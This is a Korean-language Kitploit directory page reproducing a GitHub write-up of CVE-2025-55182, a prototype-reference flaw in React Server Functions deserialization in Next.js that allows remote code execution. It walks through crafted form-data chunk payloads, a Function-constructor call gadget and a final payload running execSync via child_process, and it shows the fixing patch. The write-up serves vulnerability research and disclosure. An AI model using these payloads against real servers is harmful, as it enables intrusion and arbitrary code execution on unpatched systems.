Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 | Kitploit
도구/GitHubGitHub/andressuarezmonk/cve-2025-55182
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubandressuarezmonk/cve-2025-55182

CVE-2025-55182

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182

원저자: https://github.com/msanft/CVE-2025-55182

이 취약점은 React Server Functions, 예를 들어 Next.js에서 제공하는 서버 함수에서 안전하지 않은 프로토타입 참조를 통해 RCE를 허용합니다.

저는 React나 Next.js 전문가가 아니므로, 여기의 모든 정보는 어느 정도 걸러서 받아들이시기 바랍니다.

배경

React는 Server Functions1을 제공합니다. 이는 일종의 HTTP 기반 RPC로 볼 수 있습니다. 서버 함수는 지연 시간을 낮추기 위해 인접한 피어에서 데이터를 가져오거나, 클라이언트에 자격 증명이 없는 인증 요청을 수행하는 데 사용될 수 있습니다.

React는 서버 함수에 전달되는 값의 직렬화를 위해 React Flight 프로토콜2이라는 것을 사용합니다.

클라이언트는 예를 들어 폼 데이터를 통해 "청크(chunk)"를 서버에 전달합니다:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

보시다시피, 청크들은 서로 간에 참조를 가질 수 있습니다. 위 페이로드는 서버에서 다음과 같이 역직렬화됩니다:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

이 형식 자체는 좀 더 복잡하며 더 복잡한 직렬화 및 역직렬화를 허용하지만, 위 내용은 실제 취약점을 이해하기 위한 기본적인 이해를 제공합니다.

취약점

이 커밋3 이전까지, 위 예시에서 청크 2로부터 fruitName을 가져오는 것과 같이 참조 해석 중 청크를 순회할 때, React는 요청된 키가 실제로 객체에 설정되어 있는지 확인하지 않았습니다. 이로 인해 객체 프로토타입4을 얻을 수 있었습니다.

이는 다음과 같은 페이로드로 증명할 수 있습니다:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

이는 함수 생성자5로 역직렬화됩니다:

root@kitploit:~
[Function: Function]

ID 0인 청크가 배열이 아니라 객체인 경우, then 키를 함수 생성자로 설정할 수 있습니다. 그러면 해당 객체는 decodeReplyFromBusboy 함수에 의해 반환되고 Next.js에서 await됩니다:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

이것이 thenable을 반환하면, 호출자의 await가 이를 호출합니다. 다음 페이로드에서 이런 일이 발생합니다:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

이로 인해 다음 오류가 발생합니다:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

오류가 이렇게 보이는 이유는 V8이 await된 함수를 내부 resolve 및 reject 함수와 함께 호출하는데, 이를 toString으로 변환하면 다음과 같이 직렬화되기 때문입니다:

root@kitploit:~
function () { [native code] }

악용

Function 생성자를 쉽게 얻을 수 있으므로, 가장 간단한 방법은 사용자 제어 값(즉, 함수 코드가 담긴 문자열)으로 생성자를 호출하고, 나중에 반환된 함수를 호출하는 호출 가젯(call gadget)을 찾는 것입니다.

함수 생성자를 호출할 수 있는 곳은 여러 곳입니다. 예를 들어 resolveServerReference에서는 id가 제어 가능한 객체이고, lastIndexOf를 덮어써서 사용자 제어 문자열을 반환하게 하거나(Array.prototype.join 등을 통해), slice를 함수 생성자로 덮어쓸 수 있습니다. 그러나 이곳은 작동하지 않습니다. 두 번째 .slice() 호출이 첫 번째 인자로 숫자를 제공하기 때문인데, 제가 아는 한 숫자는 함수 생성자가 처리할 수 없습니다.

여기서 maple31426의 훌륭한 아이디어가 등장합니다. getChunk가 참조 체인 해석을 시작하기 위해 ID 0의 청크를 루트 참조로 가져올 때, 바로 이 청크가 조작된 "가짜 청크(fake chunk)"로 해석될 수 있습니다.

$@ 구문을 사용하여 청크 1에서 조작된 청크 0을 참조할 수 있습니다. $@는 해석된 값이 아닌 "원시(raw)" 청크를 반환합니다:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

이를 위의 then 덮어쓰기와 결합하면 다음과 같은 것을 만들 수 있습니다:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

여기서 청크 0은 자신의 .then()을 자신의 원시 청크 표현의 .then()으로 덮어씁니다. 간단히 말해, 우리는 자신의 .then()을 Chunk.prototype.then으로 덮어씁니다. Chunk는 thenable이므로 Chunk.prototype.then은 존재합니다:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

위 페이로드를 사용하면 결국 Chunk.prototype.then이 ID 0의 조작된 청크와 함께 호출됩니다.

위에서 보았듯이, 가짜 청크의 .status가 resolved_model인 경우:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

initializeModelChunk에 진입하게 됩니다. 여기서 .value는 JSON으로 파싱된 후, ID 0과 1의 청크가 가진 "외부" 컨텍스트를 사용하여 반환된 객체에서 참조가 해석됩니다:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

이 과정에서 외부 컨텍스트가 이미 해석되었기 때문에 접근할 수 있는 값이 조금 더 있는 상태에서 두 번째 평가 패스가 이루어집니다.

flight 프로토콜에서 $B 접두사가 있는 blob 데이터 처리에는 호출 가젯이 있습니다:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

특별한 _response 필드를 사용하여 조작된 청크의 response 속성을 제어합니다:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

이를 통해 가짜 ._formData 및 ._prefix 속성을 가진 객체를 만들 수 있습니다:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

initializeModelChunk의 toString 호출에서 실패하지 않도록 .reason을 추가해야 합니다:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

._formData를 함수 생성자로, ._prefix를 우리 코드로 지정하면, blob 역직렬화에서 함수 생성자 호출 가젯을 얻을 수 있습니다:

root@kitploit:~
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")

그런 다음 우리가 만든 함수는 parseModelString에 의해 조작된 청크의 .then() 메서드로 반환되며, 이 모든 것이 단일 promise 해석 체인에서 발생하므로 역시 await됩니다. 따라서 thenable을 반환하면 우리가 만든 함수가 호출됩니다. 이것이 위에서 언급한 필요한 호출 가젯을 구성합니다.

이 모든 것을 실제 RCE 페이로드와 결합하면 다음과 같은 결과를 얻을 수 있습니다:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

이 취약점을 더욱 심각하게 만드는 보너스는, 이 모든 것이 역직렬화 중에 발생하며, 요청된 액션이 getActionModIdOrError에서 먼저 검증되기 전에 발생한다는 점입니다. 따라서 Next-Action: foo와 같은 헤더를 설정하는 것만으로 취약점을 트리거할 수 있습니다.

패치

청크 참조를 사용하여 프로토타입 속성을 가져오는 문제는 다음 검사로 수정되었습니다:

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

Footnotes

  1. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E

도구 다운로드
↩